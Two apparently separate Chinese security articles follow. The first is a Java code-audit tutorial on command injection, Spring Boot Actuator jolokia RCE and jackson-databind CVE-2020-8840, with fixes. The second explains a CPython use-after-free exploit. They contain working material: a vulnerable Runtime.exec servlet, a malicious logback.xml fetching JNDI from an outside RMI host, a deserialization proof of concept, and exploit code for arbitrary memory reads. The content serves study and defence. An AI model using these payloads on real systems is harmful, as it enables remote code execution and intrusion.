public String CommandExec(HttpServletRequest request) {
String cmd = request.getParameter("cmd").toString();
Runtime run = Runtime.getRuntime();
String lineStr = "";
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
lineStr += tmpStr + "\n";
System.out.println(tmpStr);
}
**漏洞成因分析**
流程图显示的代码执行的过程，不难发现我们没有看到过滤参数，判断参数是否输入正确的一系列操作，从而导致的`命令执行漏洞`。
**说明：**
1. process指向一个本地进程，相对于main进程来说，process指向的称为子进程。1
2. BufferedInputStream 是缓冲输入流，它继承FilterInputStream类。BufferedInputStream 的作用是为另一个输入流添加一些功能，例如，提供“缓冲功能”以及支持“mark()标记”和“reset()重置方法”。BufferedInputStream 本质上是通过一个内部缓冲区数组实现的。例如，在新建某输入流对应的BufferedInputStream后，当我们通过read()读取输入流的数据时，BufferedInputStream会将该输入流的数据分批的填入到缓冲区中。每当缓冲区中的数据被读完之后，输入流会再次填充数据缓冲区；如此反复，直到我们读完输入流数据位置。2
* * *
## 知识内容补充
**继续阅读下面的内容，你需要补充更多知识。**
1. Java序列化和反序列化
2. RMI、JRMP、JMX、JNDI
3. JNDI注入原理
笔者在此，做一个简单介绍。
* Java序列化对象因其可以方便的将对象转换成字节数组，又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)和JMX(Java管理扩展-Java Management Extensions)服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制，如：直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。
* Java RMI用于不同虚拟机之间的通信，这些虚拟机可以在不同的主机上、也可以在同一个主机上；一个虚拟机中的对象调用另一个虚拟上中的对象的方法，只不过是允许被远程调用的对象要通过一些标志加以标识。
* JRMP（ Java Remote Method Protocol）协议通信，用于规范远程方法调用的协议
* Java命名和目录接口（Java Naming and Directory Interface，缩写JNDI），是Java的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。
* 关于JNDI注入百度有很多文章，推荐[深入理解JNDI注入与Java反序列化漏洞利用](https://www.freebuf.com/column/189835.html)、[JNDI注入原理及利用](https://xz.aliyun.com/t/6633)
**推荐文章：**
* [Java 序列化/反序列化](https://javasec.org/javase/JavaDeserialization/Serialization.html)
* [基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI](https://xz.aliyun.com/t/7079)
* [搞懂RMI、JRMP、JNDI-终结篇](https://xz.aliyun.com/t/7264)
* [MicroFocus研究论文(纯英文)](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
* [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
* * *
## Spring Boot Actuators to RCE
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块，借助于 Actuator
开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator
启用的情况下，如果没有做好相关权限控制，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息。
使用老外提供的源码，用mvn编译运行。[GitHub项目地址](https://github.com/veracode-research/actuator-testbed)直接访问`http://127.0.0.1:8090/jolokia/list`
或者修改ip和端口`actuator-testbed\src\main\resources\application.properties`
上面的`reloadByURL`可以加载一个外部URL进而重新加载日志配置，结果造成了RCE。我们需要构造一个恶意logback.xml的URL。
`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml`
//下面是logback.xml内容
<configuration>
<insertFromJNDI env-entry-name="rmi://artsploit.com:1389/jndi" as="appName" />
</configuration>
rmi和ldap服务都能触发这个漏洞，笔者在这里选择rmi服务。
**简单的触发流程流程图：**
* * *
**源码分析**
1. 第一步会先注册jolokia
2. <http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml>
看上面URL分析`reloadByURL`很重要，看一下源码
public void reloadByURL(URL url) throws JoranException {
StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
// after a reset the statusListenerAsList gets removed as a listener
addStatusListener(statusListenerAsList);
try {
if (url != null) {
JoranConfigurator configurator = new JoranConfigurator();
configurator.setContext(loggerContext);
configurator.doConfigure(url);
addInfo("Context: " + loggerContext.getName() + " reloaded.");
}
} finally {
removeStatusListener(statusListenerAsList);
if (debug) {
StatusPrinter.print(statusListenerAsList.getStatusList());
}
}
}
不难发现下面三行代码是关键，重置日志配置。
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
**推荐文章**
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
[Attack Spring Boot Actuator via jolokia Part
2](https://www.anquanke.com/post/id/173265)[关于此漏洞更多的骚操作参考](https://xz.aliyun.com/t/4259)
* * *
**代码审计关键词**
trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream
* * *
**防护措施**
在使用Actuator时，不正确的使用或者一些不经意的疏忽，就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖，则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。
安全的做法是一定要引入security依赖，打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。
更多防护措施参考[SpringBoot应用监控Actuator使用的安全隐患](https://xz.aliyun.com/t/2233)
* * *
## CVE-2020-8840 FasterXML/jackson-databind 远程代码执行漏洞
**FasterXML/jackson-databind是一个用于JSON和对象转换的Java第三方库，可将Java对象转换成json对象和xml文档，同样也可将json对象转换成Java对象。**
//漏洞POC
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
* * *
我们查看官方的漏洞源码提交修复记录[GitHub地址](https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497)分析。
* 查看POC ，找到JndiConverter类
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\",{\"asText\":\"ldap://localhost:1389/Exploit\"}]";
* 查看类的继承关系，找到AbstractConverter类
* 找到toObject方法，证据不足，继续溯源。
public final Object toObject(String text) {
if (text == null) {
return null;
} else {
Object value = this.toObjectImpl(this.trim ? text.trim() : text);
return value;
}
}
* 证据充分，此是内奸。重置text内容导致RCE。
public final void setAsText(String text) {
Object value = this.toObject(this.trim ? text.trim() : text);
super.setValue(value);
}
* * *
**思路整理**
* * *
**修复方式**
1. 升级 jackson-databind 至2.9.10.3、2.8.11.5、2.10.x
2. 排查项目中是否使用 xbean-reflect。该次漏洞的核心原因是xbean-reflect 中存在特殊的利用链允许用户触发 JNDI 远程类加载操作。将xbean-reflect移除可以缓解漏洞所带来的影响。
* * *
# 推荐几个历史版本RCE
1. com.threedr3am.bug.fastjson.FastjsonSerialize(TemplatesImpl) 利用条件：fastjson <= 1.2.24 + Feature.SupportNonPublicField
2. com.threedr3am.bug.fastjson.NoNeedAutoTypePoc 利用条件：fastjson < 1.2.48 不需要任何配置，默认配置通杀RCE
3. com.threedr3am.bug.fastjson.HikariConfigPoc(HikariConfig) 利用条件：fastjson <= 1.2.59 RCE，需要开启AutoType
4. com.threedr3am.bug.fastjson.CommonsProxyPoc(SessionBeanProvider) 利用条件：fastjson <= 1.2.61 RCE，需要开启AutoType
5. cas-4.1.x~4.1.6 反序列化漏洞（利用默认密钥）
6. cas-4.1.7~4.2.x 反序列化漏洞（需要知道加密key和签名key）
* * *
# 参考
<https://github.com/JoyChou93/java-sec-code/wiki>
<http://www.jianfensec.com/70.html>
<https://www.cnblogs.com/tr1ple/p/12348886.html>
<https://github.com/jas502n/CVE-2020-8840>
<https://github.com/fairyming/CVE-2020-8840>
* * *
1. <https://blog.csdn.net/dataiyangu/article/details/83988654>↩
2. <https://www.cnblogs.com/isme-zjh/p/11506495.html>↩ | 社区文章 |
# 0x00 简介
原文：[Exploiting a Use-After-Free for code execution in every version of Python
3](https://pwn.win/2022/05/11/python-buffered-reader.html)
5月16日腾讯玄武实验室公众号推送了这篇文章，个人学习下来觉得要理解这个漏洞还需要一些知识基础，因此加了一些基础知识的说明，写了本篇保姆级漏洞说明。
先说一下漏洞危害，虽然该漏洞可以导致命令执行，但需要一个前提，那就是能执行Python代码，所以本漏洞几乎毫无意义，作者也说了，不如直接利用`os.system`，可能在一些受限的沙箱环境才需要利用该漏洞；但是通过其他方式去执行`system('/bin/bash')`是一件很有趣的事，所以有兴趣的来看下吧。
该漏洞针对的是CPython（C语言编写的Python.exe），需要了解Python对象在C语言中的表示形式，并了解一个特殊的对象`memoryview`，而作者编写Exp是针对Linux的Python3(64位)，所以还需要了解ELF文件结构。
**导读**
1~3：基础知识，会的可直接跳过。
4：原文的内容的解释，漏洞说明以及EXP解释。
5：另一个漏洞利用思路。
# 0x01 Python对象
## 1.1 PyObject
Python中所有对象都是PyObject的子类，在C中没有类，因此都是结构体，结构体的头部都是PyObject，`_PyObject_HEAD_EXTRA`在release版本中是不存在的。
另外对于变长的对象，另外定义了一个结构体PyVarObject，多了一个字段ob_size，用于表示该对象包含类型的个数，但是每个类型所占长度则需要看ob_type指向的类对象了。
//3.10.4
//Include\object.h
/* PyObject_HEAD defines the initial segment of every PyObject. */
#define PyObject_HEAD PyObject ob_base;
#define PyObject_VAR_HEAD PyVarObject ob_base;
#define PyObject_HEAD_INIT(type) \
{ _PyObject_EXTRA_INIT \
1, type },
#define PyVarObject_HEAD_INIT(type, size) \
{ PyObject_HEAD_INIT(type) size },
typedef struct _object {
_PyObject_HEAD_EXTRA//该值release没有
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
} PyObject;
typedef struct {
PyObject ob_base;
Py_ssize_t ob_size; /* Number of items in variable part */
} PyVarObject;
## 1.2 PyTypeObject
Python中类也是一个对象，在C语言中就是以PyTypeObject表示，所以每个Python对象通过`type`获取的都是一个PyTypeObject结构体数据。
`tp_basicsize`：表示的对象的基础数据的长度，可以理解位对象头信息长度。
`tp_itemsize`：表示每个item的长度，而item的个数则在`PyVarObject`的`ob_size`，因为只有`PyVarObject`是变长的。
PyTypeObject结构体中还包含了一些函数指针，比如获取和设置对象的属性，其实就是对应PyTypeObject结构体中的`tp_getattr`与`tp_setattr`指向的函数。
//3.10.4
//Include\object.h
typedef struct _typeobject PyTypeObject;
//Include\cpython\object.h
struct _typeobject {
PyObject_VAR_HEAD
const char *tp_name; /* For printing, in format "<module>.<name>" */
Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */
/* Methods to implement standard operations */
destructor tp_dealloc;
Py_ssize_t tp_vectorcall_offset;
getattrfunc tp_getattr;
setattrfunc tp_setattr;
PyAsyncMethods *tp_as_async; /* formerly known as tp_compare (Python 2)
or tp_reserved (Python 3) */
reprfunc tp_repr;
/* Method suites for standard classes */
PyNumberMethods *tp_as_number;
PySequenceMethods *tp_as_sequence;
PyMappingMethods *tp_as_mapping;
/* More standard operations (here for binary compatibility) */
hashfunc tp_hash;
ternaryfunc tp_call;
reprfunc tp_str;
getattrofunc tp_getattro;
setattrofunc tp_setattro;
/* Functions to access object as input/output buffer */
PyBufferProcs *tp_as_buffer;
/* Flags to define presence of optional/expanded features */
unsigned long tp_flags;
const char *tp_doc; /* Documentation string */
/* Assigned meaning in release 2.0 */
/* call function for all accessible objects */
traverseproc tp_traverse;
/* delete references to contained objects */
inquiry tp_clear;
/* Assigned meaning in release 2.1 */
/* rich comparisons */
richcmpfunc tp_richcompare;
/* weak reference enabler */
Py_ssize_t tp_weaklistoffset;
/* Iterators */
getiterfunc tp_iter;
iternextfunc tp_iternext;
/* Attribute descriptor and subclassing stuff */
struct PyMethodDef *tp_methods;
struct PyMemberDef *tp_members;
struct PyGetSetDef *tp_getset;
// Strong reference on a heap type, borrowed reference on a static type
struct _typeobject *tp_base;
PyObject *tp_dict;
descrgetfunc tp_descr_get;
descrsetfunc tp_descr_set;
Py_ssize_t tp_dictoffset;
initproc tp_init;
allocfunc tp_alloc;
newfunc tp_new;
freefunc tp_free; /* Low-level free-memory routine */
inquiry tp_is_gc; /* For PyObject_IS_GC */
PyObject *tp_bases;
PyObject *tp_mro; /* method resolution order */
PyObject *tp_cache;
PyObject *tp_subclasses;
PyObject *tp_weaklist;
destructor tp_del;
/* Type attribute cache version tag. Added in version 2.6 */
unsigned int tp_version_tag;
destructor tp_finalize;
vectorcallfunc tp_vectorcall;
};
## 1.3 bytearray
bytearray虽然是变长，但是数据通过字符串指针指向堆内存，实际数据存储在了ob_bytes中。
//3.10.4
//Include\cpython\bytearrayobject.h
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */
char *ob_bytes; /* Physical backing buffer */
char *ob_start; /* Logical start inside ob_bytes */
Py_ssize_t ob_exports; /* How many buffer exports */
} PyByteArrayObject;
## 1.4 bytes
bytes对象数据都是存储在PyBytesObject结构体中的，不像PyByteArrayObject结构体是通过指针指向的具体数据。
根据1.1可知PyVarObject中存在ob_size表示包含类型个数，这里就是包含的字节数了，数据均是存储在ob_sval中，并最后多一个字节，数据为`\x00`。
//3.10.4
//Include\cpython\bytesobject.h
typedef struct {
PyObject_VAR_HEAD
Py_hash_t ob_shash;
char ob_sval[1];
/* Invariants:
* ob_sval contains space for 'ob_size+1' elements.
* ob_sval[ob_size] == 0.
* ob_shash is the hash of the byte string or -1 if not computed yet.
*/
} PyBytesObject;
## 1.5 list
ob_item是指针的指针，也就可以理解为指针数组，每一项都是一个PyObject *。
//3.10.4
//Include\cpython\listobject.h
typedef struct {
PyObject_VAR_HEAD
/* Vector of pointers to list elements. list[0] is ob_item[0], etc. */
PyObject **ob_item;
/* ob_item contains space for 'allocated' elements. The number
* currently in use is ob_size.
* Invariants:
* 0 <= ob_size <= allocated
* len(list) == ob_size
* ob_item == NULL implies ob_size == allocated == 0
* list.sort() temporarily sets allocated to -1 to detect mutations.
*
* Items must normally not be NULL, except during construction when
* the list is not yet visible outside the function that builds it.
*/
Py_ssize_t allocated;
} PyListObject;
# 0x02 memoryview与id
## 2.1 memoryview
Python的内建类[memoryview](https://docs.python.org/3/library/stdtypes.html#memoryview)
可以理解为指针，官方的说明，正常使用只能指向bytes或者bytearray对象的数据，是无法指向list对象的。
class memoryview(object)
#Create a memoryview that references object. object must support the buffer protocol. Built-in objects that support the buffer protocol include bytes and bytearray.
指向bytearray，就相当于PyByteArrayObject->ob_bytes；
指向bytes，就相当于PyBytesObject->ob_sval；
并且记录了具体长度，无法越界。
v=memoryview(b'abcd')
len(v) # 4
v[0] #61
v=memoryview(bytearray(b''))
len(v) # 4
v[0] #61
## 2.2 id
Python中的id函数返回的值其实是该对象在内存中的首地址。
官方文档：<https://docs.python.org/3/library/functions.html#id>
CPython implementation detail: This is the address of the object in memory.
# 0x03 ELF文件
这里推荐一本书《程序员的自我修养》，ELF文件解析主要的是参考该书以及elf.h文件。
因为Exp是针对的64位，所以介绍的结构体都是64位的。
## 3.1 文件头
结构体
//include\linux\elf.h
typedef struct elf64_hdr {
unsigned char e_ident[16]; /* ELF "magic number" */
Elf64_Half e_type;
Elf64_Half e_machine;
Elf64_Word e_version;
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
Elf64_Word e_flags;
Elf64_Half e_ehsize;
Elf64_Half e_phentsize;
Elf64_Half e_phnum;
Elf64_Half e_shentsize;
Elf64_Half e_shnum;
Elf64_Half e_shstrndx;
} Elf64_Ehdr;
e_ident中可以判断出是32位还是64位程序，数据存储是大端还是小端。
* Elf64_Ehdr[0:4] = "\x7fELF"
* Elf64_Ehdr[4]：1表示32位，2表示64位
* Elf64_Ehdr[5]：1表示小端，2表示大端
e_type可以判断是否开启PIE。
* Elf64_Ehdr[0x10:0x12]：2表示可执行文件，未开启PIE；3表示开启了PIE
获取Program Header Table的信息
* Elf64_Ehdr[0x20:0x28]：e_phoff，获取到偏移
* Elf64_Ehdr[0x36:0x38]：e_phentsize，Program Header每一项的大小
* Elf64_Ehdr[0x38:0x3A]：e_phnum，Program Header中包含的总数
获取Section Header Table的信息
* Elf64_Ehdr[0x28:0x30]：e_shoff，获取到偏移
* Elf64_Ehdr[0x3A:0x3C]：e_shentsize，Section Header每一项的大小
* Elf64_Ehdr[0x3C:0x3E]：e_shnum，Section Header中包含的总数
## 3.2 Program Header Table
主要是用于说明ELF文件如何映射到内存中的，可以通过命令`readelf -l`查看；Program Header
Table中的每一项称为Segment，Segment是多个Section的合集，相同属性的Section放于一个Segment，结构体如下：
//include\linux\elf.h
typedef struct elf64_phdr {
Elf64_Word p_type;
Elf64_Word p_flags;
Elf64_Off p_offset; /* Segment file offset */
Elf64_Addr p_vaddr; /* Segment virtual address */
Elf64_Addr p_paddr; /* Segment physical address */
Elf64_Xword p_filesz; /* Segment size in file */
Elf64_Xword p_memsz; /* Segment size in memory */
Elf64_Xword p_align; /* Segment alignment, file & memory */
} Elf64_Phdr;
Elf64_Phdr[0:4]：p_type
占4字节，不同类型的值参考于010editor的Templates，会加载到内存的仅`LOAD`类型，`PT_DYNAMIC`会指出.dynamic在内存中的地址。
PT_NULL =0,
PT_LOAD =1,
PT_DYNAMIC =2,
PT_INERP =3,
PT_NOTE =4,
PT_SHLIB =5,
PT_PHDR =6,
PT_LOOS =0x60000000,
PT_HIOS =0x6fffffff,
PT_LOPROC =0x70000000,
PT_HIPROC =0x7fffffff
Elf64_Phdr[0x10:0x18]：p_vaddr
占8字节，该Segment的`virtual address`，虚拟地址，即内存地址，若开启PIE，则是相对基址的偏移。
Elf64_Phdr[0x30:0x38]：p_align
占8字节，Segment的对齐属性，用于表示在内存中的对齐单位，一般是0x1000。
## 3.3 .dynamic
保存了动态链接器所需要的基本信息。
typedef struct {
Elf64_Sxword d_tag; /* entry tag value */
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
**d_tag** ：表明该项值的类型。
/* This is the info that is needed to parse the dynamic section of the file */
#define DT_NULL 0
#define DT_NEEDED 1
#define DT_PLTRELSZ 2
#define DT_PLTGOT 3
#define DT_HASH 4
#define DT_STRTAB 5
#define DT_SYMTAB 6
#define DT_RELA 7
#define DT_RELASZ 8
#define DT_RELAENT 9
#define DT_STRSZ 10
#define DT_SYMENT 11
#define DT_INIT 12
#define DT_FINI 13
#define DT_SONAME 14
#define DT_RPATH 15
#define DT_SYMBOLIC 16
#define DT_REL 17
#define DT_RELSZ 18
#define DT_RELENT 19
#define DT_PLTREL 20
#define DT_DEBUG 21
#define DT_TEXTREL 22
#define DT_JMPREL 23
#define DT_LOPROC 0x70000000
#define DT_HIPROC 0x7fffffff
#define DT_MIPS_RLD_VERSION 0x70000001
#define DT_MIPS_TIME_STAMP 0x70000002
#define DT_MIPS_ICHECKSUM 0x70000003
#define DT_MIPS_IVERSION 0x70000004
#define DT_MIPS_FLAGS 0x70000005
#define RHF_NONE 0
#define RHF_HARDWAY 1
#define RHF_NOTPOT 2
#define DT_MIPS_BASE_ADDRESS 0x70000006
#define DT_MIPS_CONFLICT 0x70000008
#define DT_MIPS_LIBLIST 0x70000009
#define DT_MIPS_LOCAL_GOTNO 0x7000000a
#define DT_MIPS_CONFLICTNO 0x7000000b
#define DT_MIPS_LIBLISTNO 0x70000010
#define DT_MIPS_SYMTABNO 0x70000011
#define DT_MIPS_UNREFEXTNO 0x70000012
#define DT_MIPS_GOTSYM 0x70000013
#define DT_MIPS_HIPAGENO 0x70000014
#define DT_MIPS_RLD_MAP 0x70000016
//other
#define DT_INIT_ARRAY 0x19
#define DT_INIT_ARRAYSZ 0x1b
#define DT_FINI_ARRAY 0x1a
#define DT_FINI_ARRAYSZ 0x1c
部分类型的解释，参考《程序员的自我修养》
d_tag类型 | d_un的含义
---|---
DT_NEEDED |
依赖的共享对象文件，d_ptr表示所依赖共享对象文件名在引用的字符串表中的偏移，引用的字符串表在段表中的索引根据Section的sh_link来确定
DT_SYMTAB | 动态链接符号表在内存中的地址，d_ptr表示.dynsym的地址
DT_STRTAB | 动态链接字符串表在内存中的地址，d_ptr表示.dynstr的地址
DT_STRSZ | 动态链接字符串表的大小，d_val表示大小
DT_HASH | 动态链接hash表地址，d_ptr表示.hash的地址
DT_SONAME | 本共享对象的"SO-NAME"，因此仅.so文件存在
DT_RPATH | 动态链接共享对象搜索路径
DT_INIT | 初始化代码地址，.init的地址
DT_FINI | 结束代码的地址，.fini的地址
DT_REL | 动态链接重定位表的地址，如.rel
DT_RELA | 动态链接重定位表的地址，如.rela.dyn
DT_RELENT | 动态重定位表入口数量
DT_RELAENT | 动态重定位表入口数量
DT_INIT_ARRAY | .init_array的地址
DT_INIT_ARRAYSZ | .init_array的长度
DT_FINI_ARRAY | .fini_array的地址
DT_FINI_ARRAYSZ | .fini_array的长度
DT_PLTGOT | .got.plt的地址
DT_JMPREL | .rela.plt的地址，PLT相关的重定位表地址
## 3.4 重定位表
重定位表是有两种，在看段表时，是会看到.rel和.rela开头的重定位表，分别对应的结构体稍有不同。（PS:段表是Section Header
Table，但由于不加载到内存中，所以就未作详细说明）
typedef struct elf64_rel {
Elf64_Addr r_offset; /* Location at which to apply the action */
Elf64_Xword r_info; /* index and type of relocation */
} Elf64_Rel;
typedef struct elf64_rela {
Elf64_Addr r_offset; /* Location at which to apply the action */
Elf64_Xword r_info; /* index and type of relocation */
Elf64_Sxword r_addend; /* Constant addend used to compute value */
} Elf64_Rela;
r_offset：占8字节，重定位的地址。
r_info：占8字节，最低位`4`字节用于表示类型，高`4`位字节用于表示对应的值。
Exp中关注的重定位表是.rela.plt(.dynamic中的DT_JMPREL所指)，该表中r_info_type的类型都是R_X86_64_JUMP_SLO，对应的值为7，而r_info_value表示的是重定位的符号在符号表中的索引，.rela.plt相关的符号表是.dynsym(.dynamic中的DT_SYMTAB所指)。
## 3.5 符号表
符号表每一项代表一个符号，符号表的第一项（索引为0）一般为无效项。结构体如下：
typedef struct elf64_sym {
Elf64_Word st_name; /* Symbol name, index in string tbl */
unsigned char st_info; /* Type and binding attributes */
unsigned char st_other; /* No defined meaning, 0 */
Elf64_Half st_shndx; /* Associated section index */
Elf64_Addr st_value; /* Value of the symbol */
Elf64_Xword st_size; /* Associated symbol size */
} Elf64_Sym;
Elf64_Sym[0:4]：st_name
占4字节，表示符号名称字符串在字符串表的偏移量，但具体是哪个字符串表则需要看自身所在段表的段描述项的sh_link（表示引用的字符串段表描述项在段表中的索引）。
Exp关注的符号表是.dynsym，它所关联的字符串表是.dynstr(.dynamic中的DT_STRTAB所指)。
# 0x04 漏洞与Exp
## 4.1 起因
原文作者是关注到了一个issue：[memoryview to freed memory can cause
segfault](https://bugs.python.org/issue15994)。
看一下POC
import io
class File(io.RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
f = io.BufferedReader(File())
f.read(1) # get view of buffer used by BufferedReader
del f # deallocate buffer
view = view.cast('P')
L = [None] * len(view) # create list whose array has same size
# (this will probably coincide with view)
view[0] = 0 # overwrite first item with NULL
print(L[0]) # segfault: dereferencing NULL
### 4.1.1 获取memoryview
POC中的全局变量view的类型是`memoryview`，至于原因我勉强根据官方文档与源码注释找了一下，且就一看，这一段我并不保证完全正确。
执行`f.read(1)`，会调用到自定义类的readinto方法，并传入memoryview类型的buf参数。
首先根据官方文档`https://docs.python.org/3/library/io.html#io.BufferedReader`，知道BufferedReader继承于`BufferedIOBase`。
调用链：
1. BufferedIOBase的read方法：`_io__Buffered_read_impl`，内部会调用`_bufferedreader_read_generic`
2. `_bufferedreader_read_generic`内部会调用`_bufferedreader_raw_read`
3. `_bufferedreader_raw_read`内部会使用`PyMemoryView_FromBuffer`创建memoryview对象，然后通过`PyObject_CallMethodOneArg(self->raw, _PyIO_str_readinto, memobj)`去调用子类的readinto方法。
源代码版本3.10.4，仅保留了调用链部分代码，完整代码可根据第一行注释的路径去查看源码。
//Modules\_io\bufferedio.c
/*[clinic input]
_io._Buffered.read
size as n: Py_ssize_t(accept={int, NoneType}) = -1
/
[clinic start generated code]*/
static PyObject *
_io__Buffered_read_impl(buffered *self, Py_ssize_t n)
/*[clinic end generated code: output=f41c78bb15b9bbe9 input=7df81e82e08a68a2]*/
{
......
res = _bufferedreader_read_generic(self, n);
......
}
/* Generic read function: read from the stream until enough bytes are read,
* or until an EOF occurs or until read() would block.
*/
static PyObject *
_bufferedreader_read_generic(buffered *self, Py_ssize_t n)
{
......
r = _bufferedreader_raw_read(self, out + written, r);
......
}
static Py_ssize_t
_bufferedreader_raw_read(buffered *self, char *start, Py_ssize_t len)
{
......
memobj = PyMemoryView_FromBuffer(&buf);
if (memobj == NULL)
return -1;
/* NOTE: PyErr_SetFromErrno() calls PyErr_CheckSignals() when EINTR
occurs so we needn't do it ourselves.
We then retry reading, ignoring the signal if no handler has
raised (see issue #10956).
*/
do {
res = PyObject_CallMethodOneArg(self->raw, _PyIO_str_readinto, memobj);
} while (res == NULL && _PyIO_trap_eintr());
......
}
### 4.1.2 释放对象
`del
f`将会释放对象，那么view指向的对象就释放了；无法通过python代码创建一个memoryview对象去指向一个bytes类对象，后del指向的对象并不会释放内存，因为引用计数未清零。
### 4.1.3 重新申请同样大小的内存
`view = view.cast('P')`：将view内中的数据理解为指针，因为需要根据view的长度来申请新的内存，根据`1.5
list`的分析，ob_item指向的是指针数组，POC就是想让这段内存正好等于view指向的，所以先将view的数据类型转化为指针，再根据view的长度创建list对象，也就是`L
= [None] * len(view)`。
此时view存储的就是PyObject*，都是指向的None对象，然后通过将第一个指针改为0，再获取导致报错。
当然也可以通过id来获取其他对象的地址，其实也是PyObject*，那么赋值给view[0]，即可修改list L的成员了，如：
view[0] = id('a')
print(L[0]) # a
## 4.2 漏洞利用
### 4.2.1 内存泄露
利用漏洞可以让memoryview对象view指向一个PyObject*[]，利用id函数指向不同的对象，再利用list对象`L[n]`来使用对象。
这里就想到了bytearray了，结构体中是存在指针的，只需要将ob_bytes和ob_start的位置处填入想要读取的内存地址，再使得view[0] =
id(bytearray对象)，那么L[0]就可以作为ByteArray对象读取字节数据了,比如L[0][0:8]读取对应地址的前8字节。
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */
char *ob_bytes; /* Physical backing buffer */
char *ob_start; /* Logical start inside ob_bytes */
Py_ssize_t ob_exports; /* How many buffer exports */
} PyByteArrayObject;
现在的问题就是如何修改ob_bytes和ob_start了，作者给出的答案是伪造一个`PyByteArrayObject`，使用的bytes类，因为bytes的数据就是存储在`PyBytesObject`中，通过id获取PyBytesObject对象的首地址，再加上固定偏移量，即可指向ob_sval，ob_sval的值我们是可以控制的。
typedef struct {
PyObject_VAR_HEAD
Py_hash_t ob_shash;
char ob_sval[1];
} PyBytesObject;
最终效果如下(作者的exp代码)
io = open.__self__
def uN(b):
out = 0
for i in range(len(b)):
out |= (b[i] & 0xff) << i*8
return out
def u64(x):
assert len(x) == 8
return uN(x)
def u32(x):
assert len(x) == 4
return uN(x)
def u16(x):
assert len(x) == 2
return uN(x)
def p64(x):
s = bytearray()
while x > 0:
s.append(x & 0xff)
x >>= 8
return s.ljust(8, b'\0')
def flat(*args):
return b''.join(args)
class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
class Exploit:
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10), # refcount
p64(id(bytearray)), # type obj
p64(size), # ob_size
p64(size), # ob_alloc
p64(addr), # ob_bytes
p64(addr), # ob_start
p64(0x0), # ob_exports
)
self.no_gc.append(byte_array_obj) # stop gc from freeing after return
self.freed_buffer[0] = id(byte_array_obj) + 32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
def __init__(self):
# Trigger bug
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast('P')
self.fake_objs = [None] * len(view)
self.freed_buffer = view
self.no_gc = []
在Exploit的 **init**
函数中获取了memoryview对象，存储为`freed_buffer`，`fake_objs`则是申请的list对象，其存储数据内存空间由freed_buffer指向。
### 4.2.2 寻找system函数地址
先说一下思路，主要是解析ELF文件，根据.dynamic中的信息去读取.got.plt['system']的值，读取内存的方法都是利用的`4.2.1内存泄露`。
1. 根据PyTypeObject的找到函数的地址，该地址必定在.text段，处于一个Segment，且该Segment的地址必定高于ELF文件头的Segment；
2. 根据页对齐原则（一般是0x1000对齐），向低地址遍历，找到ELF文件头魔数`\x7fELF`,因为加载的时候文件头必定是加载在页的首地址处的，并且此页的首地址是程序的基址；
3. 解析ELF文件头，根据e_type的值判断是否开启PIE。
